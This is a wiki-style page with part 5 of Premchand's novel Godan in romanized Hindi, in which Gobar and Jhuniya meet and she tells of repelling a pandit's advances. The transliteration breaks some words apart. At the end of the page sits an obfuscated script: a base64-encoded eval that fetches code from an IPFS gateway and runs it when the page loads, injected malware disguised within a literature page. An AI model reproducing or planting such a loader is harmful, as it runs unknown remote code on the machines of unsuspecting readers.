गोदान उपन्यास भाग-5

chitr:Icon-edit.gif

is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

udhar gobar khana kha kar ahirane mean ja pahuancha. aj jhuniya se usaki bahut-si batean huee thian. jab vah gay le kar chala tha, to jhuniya adhe raste tak usake sath aee thi. gobar akela gay ko kaise le jata! aparichit vyakti ke sath jane mean use apatti hona svabhavik tha. kuchh door chalane ke bad jhuniya ne gobar ko marm-bhari aankhoan se dekh kar kaha - ab tum kahe ko yahaan kabhi aoge?

ek din pahale tak gobar kumar tha. gaanv mean jitani yuvatiyaan thian, vah ya to usaki bahanean thian ya bhabhiyaan. bahanoan se to koee chhe dachha d ho hi kya sakati thi, bhabhiyaan alabatta kabhi-kabhi usase thitholi kiya karati thian, lekin vah keval saral vinod hota tha. unaki drishti mean abhi usake yauvan mean keval phool lage the. jab tak phal n lag jayan, us par dhele pheankana vyarth ki bat thi. aur kisi or se protsahan n pa kar usaka kaumary usake gale se chipata hua tha. jhuniya ka vanchit man, jise bhabhiyoan ke vyang aur has-vilas ne aur bhi lolup bana diya tha, usake kaumary hi par lalacha utha. aur us kumar mean bhi patta kh dakate hi kisi soe hue shikari janavar ki tarah yauvan jag utha.

gobar ne avaranahin rasikata ke sath kaha - agar bhikshuk ko bhikh milane ki asa ho, to vah din-bhar aur rat-bhar data ke dvar par kh da rahe.

jhuniya ne kataksh karake kaha - to yah kaho, tum bhi matalab ke yar ho.

gobar ki dhamaniyoan ka rakt prabal ho utha. bola - bhookha adami agar hath phailae to use kshama kar dena chahie.

jhuniya aur gahare pani mean utari - bhikshuk jab tak das dvare n jay, usaka pet kaise bharega? maian aise bhikshukoan ko muanh nahian lagati. aise to gali-gali milate haian. phir bhikshuk deta kya hai, asis! asisoan se to kisi ka pet nahian bharata.

mand-buddhi gobar jhuniya ka ashay n samajh saka. jhuniya chhoti-si thi, tabhi se grahakoan ke ghar doodh le kar jaya karati thi. sasural mean use grahakoan ke ghar doodh pahuanchana p data tha. ajakal bhi dahi bechane ka bhar usi par tha. use tarah-tarah ke manushyoan se sabika p d chuka tha. do-char rupe usake hath lag jate the, gh di-bhar ke lie manoranjan bhi ho jata tha, magar yah anand jaise mangani ki chiz ho. usamean tikav n tha, samarpan n tha, adhikar n tha. vah aisa prem chahati thi, jisake lie vah jie aur mare, jis par vah apane ko samarpit kar de. vah keval juganoo ki chamak nahian, dipak ka sthayi prakash chahati thi. vah ek grihasth ki balika thi, jisake grihinitv ko rasikoan ki lagavatabajiyoan ne kuchal nahian paya tha.

gobar ne kamana se udipt mukh se kaha - bhikshuk ko ek hi dvar par bharapet mil jay, to kyoan dvar-dvar ghoome?

jhuniya ne saday bhav se usaki or taka. kitana bhola hai, kuchh samajhata hi nahian.

'bhikshuk ko ek dvar par bharapet kahaan milata hai. use to chutaki hi milegi. sarbas to tabhi paoge, jab apana sarbas doge.'

'mere pas kya hai jhuniya?'

'tumhare pas kuchh nahian hai? maian to samajhati hooan, mere lie tumhare pas jo kuchh hai, vah b de-b de lakhapatiyoan ke pas nahian hai. tum mujhase bhikh n maang kar mujhe mol le sakate ho.'

gobar use chakit netroan se dekhane laga.

jhuniya ne phir kaha - aur janate ho, dam kya dena hoga? mera ho kar rahana p dega. phir kisi ke samane hath phailae dekhooangi, to ghar se nikal dooangi.

gobar ko jaise aandhere mean tatolate hue ichchhit vastu mil gee. ek vichitr bhayamishrit anand se usaka rom-rom pulakit ho utha. lekin yah kaise hoga? jhuniya ko rakh le, to rakheli ko le kar ghar mean rahega kaise. biradari ka jhanjhat jo hai. sara gaanv kaanv-kaanv karane lagega. sabhi dusaman ho jaeange. ammaan to ise ghar mean ghusane bhi n degi. lekin jab stri ho kar yah nahian darati, to purush ho kar vah kyoan dare? bahut hoga, log use alag kar deange. vah alag hi rahega. jhuniya jaisi aurat gaanv mean doosari kaun hai? kitani samajhadari ki batean karati hai. kya janati nahian ki maian usake jog nahian hooan, phir bhi mujhase prem karati hai. meri hone ko raji hai. gaanv vale nikal deange, to kya sansar mean doosara gaanv hi nahian hai? aur gaanv kyoan chho de? matadin ne chamarin baithi li, to kisi ne kya kar liya? datadin daant katakata kar rah ge. matadin ne itana zaroor kiya ki apana dharam bacha liya. ab bhi bina asanan-pooja kie muanh mean pani nahian dalate. donoan joon apana bhojan ap pakate haian aur ab to alag bhojan bhi nahian pakate. datadin aur vah sath baith kar khate haian. jhiangurisianh ne bamhani rakh li, unaka kisi ne kya kar liya? unaka jitana adar-man tab tha, utana hi aj bhi hai, balki aur badh gaya. pahale naukari khojate phirate the. ab usake rupe se mahajan ban baithe. thakuraee ka rob to tha hi, mahajani ka rob bhi jam gaya. magar phir khayal aya, kahian jhuniya dillagi n kar rahi ho. pahale isaki or se nishchiant ho jana avashyak tha.

usane poochha - man se kahati ho jhoona ki khali lalach de rahi ho? maian to tumhara ho chuka, lekin tum bhi meri ho jaogi?

'tum mere ho chuke, kaise janooan?'

'tum jan bhi chaho, to de dooan'.

'jan dene ka arath bhi samajhate ho'

'tum samajha do n.'

'jan dene ka arath hai, sath rah kar nibah karana. ek bar hath pak d kar umir bhar nibah karate rahana, chahe duniya kuchh kahe, chahe maan-bap, bhaee-band, ghar-dvar sab kuchh chho dana p de. muanh se jan dene vale bahutoan ko dekh chuki. bhauroan ki bhaanti phool ka ras le kar u d jate haian. tum bhi vaise hi n u d jaoge?'

gobar ke ek hath mean gay ki pagahiya thi. doosare hath se usane jhuniya ka hath pak d liya. jaise bijali ke tar par hath p d gaya ho. sari deh yauvan ke pahale sparsh se kaanp uthi. kitani mulayam, gudagudi, komal kalaee.

jhuniya ne usaka hath hataya nahian, mano is sparsh ka usake lie koee mahatv hi n ho. phir ek kshan ke bad ganbhir bhav se boli - aj tumane mera hath pak da hai, yad rakhana.

'khoob yad rakhooanga jhoona aur marate dam tak nibahooanga.'

jhuniya avishvas-bhari muskan se boli - isi tarah to sab kahate haian gobar! balki isase bhi mithe, chikane shabdoan mean. agar man mean kapat ho, mujhe bata do. sachet ho jaooan. aisoan ko man nahian deti. unase to khali hans-bol lene ka nata rakhati hooan. barasoan se doodh le kar bazar jati hooan. ek-se-ek baboo, mahajan, thakur, vakil, amale, aphasar apana rasiyapan dikha kar mujhe phansa lena chahate haian. koee chhati par hath rakh kar kahata hai, jhuniya, tarasa mat, koee mujhe rasili, nasili chitavan se ghoorata hai, mano mare prem ke behos ho gaya hai, koee rupaya dikhata hai, koee gahane. sab meri gulami karane ko taiyar rahate haian, umir-bhar, balki us janam mean bhi, lekin maian un saboan ki nas pahachanati hooan. sab-ke-sab bhauanre ras le kar u d jane vale. maian bhi unhean lalachati hooan, tirachhi najaroan se dekhati hooan, muskarati hooan. vah mujhe gadhi banate haian, maian unhean ulloo banati hooan. maian mar jaooan, to unaki aankhoan mean aansoo n aega. vah mar jayan, to maian kahooangi, achchha hua, nigo da mar gaya. maian to jisaki ho jaooangi, usaki janam-bhar ke lie ho jaooangi, sukh mean, du:kh mean, sanpat mean, vipat mean, usake sath rahooangi. harajaee nahian hooan ki sabase hansati-bolati phirooan. n rupe ki bhookhi hooan, n gahane-kap de ki. bas bhale adami ka sang chahati hooan, jo mujhe apana samajhe aur jise maian bhi apana samajhooan. ek pandit ji bahut tilak-mudra lagate haian. adha ser doodh lete haian. ek din unaki gharavali kahian nevate mean gee thi. mujhe kya maloom aur dinoan ki tarah doodh lie bhitar chali gee. vahaan pukarati hooan, bahooji, bahooji! koee bolata hi nahian. itane mean dekhati hooan to pandit ji bahar ke kiva d band kie chale a rahe haian. maian samajh gee isaki niyat kharab hai. maianne daant kar poochha - tumane kiva d kyoan band kar lie? kya bahooji kahian gee haian? ghar mean sannata kyoan hai?

usane kaha - vah ek nevate mean gee haian, aur meri or do pag aur badh aya.

maianne kaha - tumhean doodh lena ho to lo, nahian maian jati hooan. bola - aj to tum yahaan se n jane paogi jhooni rani! roj-roj kaleje par chhuri chala kar bhag jati ho, aj mere hath se n bachogi. tumase sach kahati hooan, gobar, mere roean kh de ho ge.

gobar avesh mean a kar bola - maian bacha ko dekh paooan, to khod kar zamin mean ga d dooan. khoon choos looan. tum mujhe dikha to dena.

suno to, aisoan ka muanh to dane ke lie maian hi kafi hooan. meri chhati dhak-dhak karane lagi. yah kuchh badamasi kar baithe, to kya karooangi? koee chillana bhi to n sunega, lekin man mean yah nishchay kar liya tha ki meri deh chhuee, to doodh ki bhari haan di usake muanh par patak dooangi. bala se char-paanch ser doodh jayaga bacha ko yad to ho jayaga. kaleja mazaboot karake boli - is pher mean n rahana pandit ji! maian ahir ke l daki hooan. mooanchh ka ek-ek bal nuchava looangi. yahi likha hai tumhare pothi-patroan mean ki doosaroan ki bahoo-beti ko apane ghar mean band karake beijjat karo. isilie tilak-mudra ka jal bichhae baithe ho? laga hath jo dane, pairoan p dane, ek premi ka man rakh dogi, to tumhara kya big d jayaga jhoona rani! kabhi-kabhi gariboan par daya kiya karo, nahian bhagavan poochheange, maianne tumhean itana roop-dhan diya tha, tumane usase ek brahman ka upakar bhi nahian kiya, to kya javab dogi? bole, maian vipr hooan, rupay-paise ka dan to roj hi pata hooan, aj roop ka dan de do.

maianne yoan hi usaka man parakhane ko kah diya, maian pachas rupe looangi. sach kahati hooan gobar, turant kothari mean gaya aur das-das ke paanch not nikal kar mere hathoan mean dene laga aur jab maianne not zamin par gira die aur dvar ki or chali, to usane mera hath pak d liya. maian to pahale hi se taiyar thi. haan di usake muanh par de mari. sir se paanv tak sarabor ho gaya. chot bhi khoob lagi. sir pak d kar baith gaya aur laga hay-hay karane. maianne dekha, ab yah kuchh nahian kar sakata, to pith mean do latean jama dian aur kiva d khol kar bhagi.

gobar thattha mar kar bola - bahut achchha kiya tumane. doodh se naha gaya hoga. tilak-mudra bhi dhul gee hogi. mooanchhean bhi kyoan n ukha d lian?

doosare din maian phir usake ghar gee. usaki gharavali a gee thi. apane baithak mean sir mean patti baandhe p da tha. maianne kaha - kaho to kal ki tumhari karatoot khol dooan pandit! laga hath jo dane. maianne kaha - achchha thook kar chato, to chho d dooan. sir zamin par rag d kar kahane laga - ab meri ijjat tumhare hath hai jhoona, yahi samajh lo ki panditain mujhe jita n chho deangi. mujhe bhi us par daya a gee. gobar ko usaki daya buri lagi - yah tumane kya kiya? usaki aurat se ja kar kah kyoan nahian diya? jooti se pitati. aise pakhandiyoan par daya n karani chahie. tum mujhe kal usaki soorat dikha do, phir dekhana, kaisi marammat karata hooan.

jhuniya ne usake arddh-vikasit yauvan ko dekh kar kaha - tum use n paoge. khas dev hai. muft ka mal u data hai ki nahian.

gobar apane yauvan ka yah tiraskar kaise sahata? diang mar kar bola - mote hone se kya hota hai. yahaan faulad ki haddiyaan haian. tin sau dand roj marata hooan. doodh-ghi nahian milata, nahian ab tak sina yoan nikal aya hota.

yah kah kar usane chhati phaila kar dikhaee.

jhuniya ne ashvast aankhoan se dekha - achchha, kabhi dikha dooangi lekin vahaan to sabhi ek-se haian, tum kis-kisaki marammat karoge? n jane maradoan ki kya adat hai ki jahaan koee javan, suandar aurat dekhi aur bas lage ghoorane, chhati pitane. aur yah jo b de adami kahalate haian, ye to nire lanpat hote haian. phir maian to koee suandari nahian hooan...

gobar ne apatti ki, tum! tumhean dekh kar to yahi ji chahata hai ki kaleje mean bitha lean.

jhuniya ne usaki pith mean halaka-sa ghooansa jamaya - lage auroan ki tarah tum bhi chapaloosi karane . maian jaisi kuchh hooan, vah maian janati hooan. magar logoan ko to javan mil jae. gh di-bhar man bahalane ko aur kya chahie. gun to adami usamean dekhata hai, jisake sath janam-bhar nibah karana ho. sunati bhi hooan aur dekhati bhi hooan, ajakal b de gharoan ki vichitr lila hai. jis muhalle mean meri sasural hai, usi mean gapadoo-gapadoo nam ke kasamiri rahate the. b de bhari adami the. unake yahaan paanch-ser doodh lagata tha. unaki tin l dakiyaan thian. koee bis-bis, pachchis-pachchis ki hogi. ek-se-ek suandar. tinoan b de k aaulij mean padhane jati thi. ek sait k aaulij mean padhati bhi thi. tin sau ka mahina pati thi. sitar vah sab bajavean, haramuniyaan vah sab bajavean, nachean vah, gavean vah, lekin byah koee n karati thi. ram jane, vah kisi marad ko pasand nahian karati thian ki marad unhian ko pasand nahian karata tha. ek bar maianne b di bibi se poochha, to hans kar boli - ham log yah rog nahian palate, magar bhitar-hi-bhitar khoob gulachharre u dati thian. jab dekhooan, do-char lauande unako ghere hue haian. jo sabase b di thi, vah to kot-pataloon pahan kar gho de par savar ho kar maradoan ke sath sair karane jati thi. sare sahar mean unaki lila mashahoor thi. gap doo baboo sir nicha kie, jaise muanh mean kalikh-si lagae rahate the. l dakiyoan ko daantate the, samajhate the, par sab-ki-sab khullamakhulla kahati thian - tumako hamare bich mean bolane ka kuchh majal nahian hai. ham apane man ki rani haian, jo hamari ichchha hogi,vah ham kareange. bechara bap javan-javan l dakiyoan se kya bole? marane-baandhane se raha, daantane-dapatane se raha, lekin bhaee, b de adamiyoan ki batean kaun chalave. vah jo kuchh karean, sab thik hai. unhean to biradari aur panchayat ka bhi dar nahian. meri samajh mean to yahi nahian ata ki kisi ka roj-roj man kaise badal jata hai. kya adami gay-bakari se bhi gaya-bita ho gaya? lekin kisi ko bura nahian kahati bhaee! man ko jaisa banao, vaisa banata hai. aisoan ko bhi dekhati hooan, jinhean roj-roj ki dal-roti ke bad kabhi-kabhi muanh ka savad badalane ke lie halava-poori bhi chahie. aur aisoan ko bhi dekhati hooan, jinhean ghar ki roti-dal dekh kar jvar ata hai. kuchh bechariyaan aisi bhi haian, jo apane roti-dal mean hi magan rahati haian. halava-poori se unhean koee matalab nahian. meri donoan bhavajoan hi ko dekho. hamare bhaee kane-kub de nahian haian, das javanoan mean ek javan haian; lekin bhavajoan ko nahian bhate. unhean to vah chahie, jo sone ki baliyaan banavae, mahin sa diyaan lae, roj chat khilae. baliyaan aur sa diyaan aur mithaiyaan mujhe bhi kam achchhi nahian lagatian, lekin jo kaho ki isake lie apane laj bechati phirooan to bhagavan isase bachaean. ek ke sath mota-jhota kha-pahan kar umir kat dena, bas apana to yahi rag hai. bahut karake to marad hi auratoan ko biga date haian. jab marad idhar-udhar tak-jhaank karega to aurat bhi aankh l daegi. marad doosari auratoan ke pichhe dau dega, to aurat bhi zaroor maradoan ke pichhe dau degi. marad ka harajaeepan aurat ko bhi utana hi bura lagata hai, jitana aurat ka marad ko. yahi samajh lo. maianne to apane adami se saph-saph kah diya tha, agar tum idhar-udhar lapake, to meri jo bhi ichchha hogi, vah karooangi. yah chaho ki tum to apane man ki karo aur aurat ko mar ke dar se apane kaboo mean rakho, to yah n hoga, tum khule-khazane karate ho, vah chhip kar karegi, tum use jala kar sukhi nahian rah sakate.

gobar ke lie yah ek nee duniya ki batean thian. tanmay ho kar sun raha tha. kabhi-kabhi to ap-hi-ap usake paanv rook jate, phir sachet ho kar chalane lagata. jhuniya ne pahale apane roop se mohit kiya tha. aj usane apane jnan aur anubhav se bhari batean aur apane satitv ke bakhan se mugdh kar liya. aisi roop, gun, jnan ki agari use mil jay, to dhany bhag. phir vah kyoan panchayat aur biradari se dare?

jhuniya ne jab dekh liya ki usaka gahara rang jam gaya, to chhati par hath rakh kar jibh daant se katati huee boli - are, yah to tumhara gaanv a gaya! tum bhi b de murahe ho, mujhase kaha bhi nahian ki laut jao.

yah kah kar vah laut p di.

gobar ne agrah karake kaha - ek chhan ke lie mere ghar kyoan nahian chali chalati? ammaan bhi to dekh lean.

jhuniya ne lajja se aankhean chura kar kaha - tumhare ghar yoan n jaooangi. mujhe to yahi acharaj hota hai ki maian itani door kaise a gee. achchha batao, ab kab aoge? rat ko mere dvar par achchhi sangat hogi. chale ana, maian apane pichhava de milooangi.

'aur jo n mili?'

'to laut jana.'

'to phir maian n aooanga.'

'ana p dega, nahian kahe deti hooan.'

'tum bhi bachan do ki milogi?'

'maian bachan nahian deti.'

'to maian bhi nahian ata.'

'meri bala se!'

jhuniya aangootha dikha kar chal di. pratham-milan mean hi donoan ek-doosare par apana-apana adhikar jama chuke the. jhuniya janati thi, vah aega, kaise n aega? gobar janata tha, vah milegi, kaise n milegi?

jab vah akela gay ko haankata hua chala, to aisa lagata tha, mano svarg se gir p da hai.

sanbandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>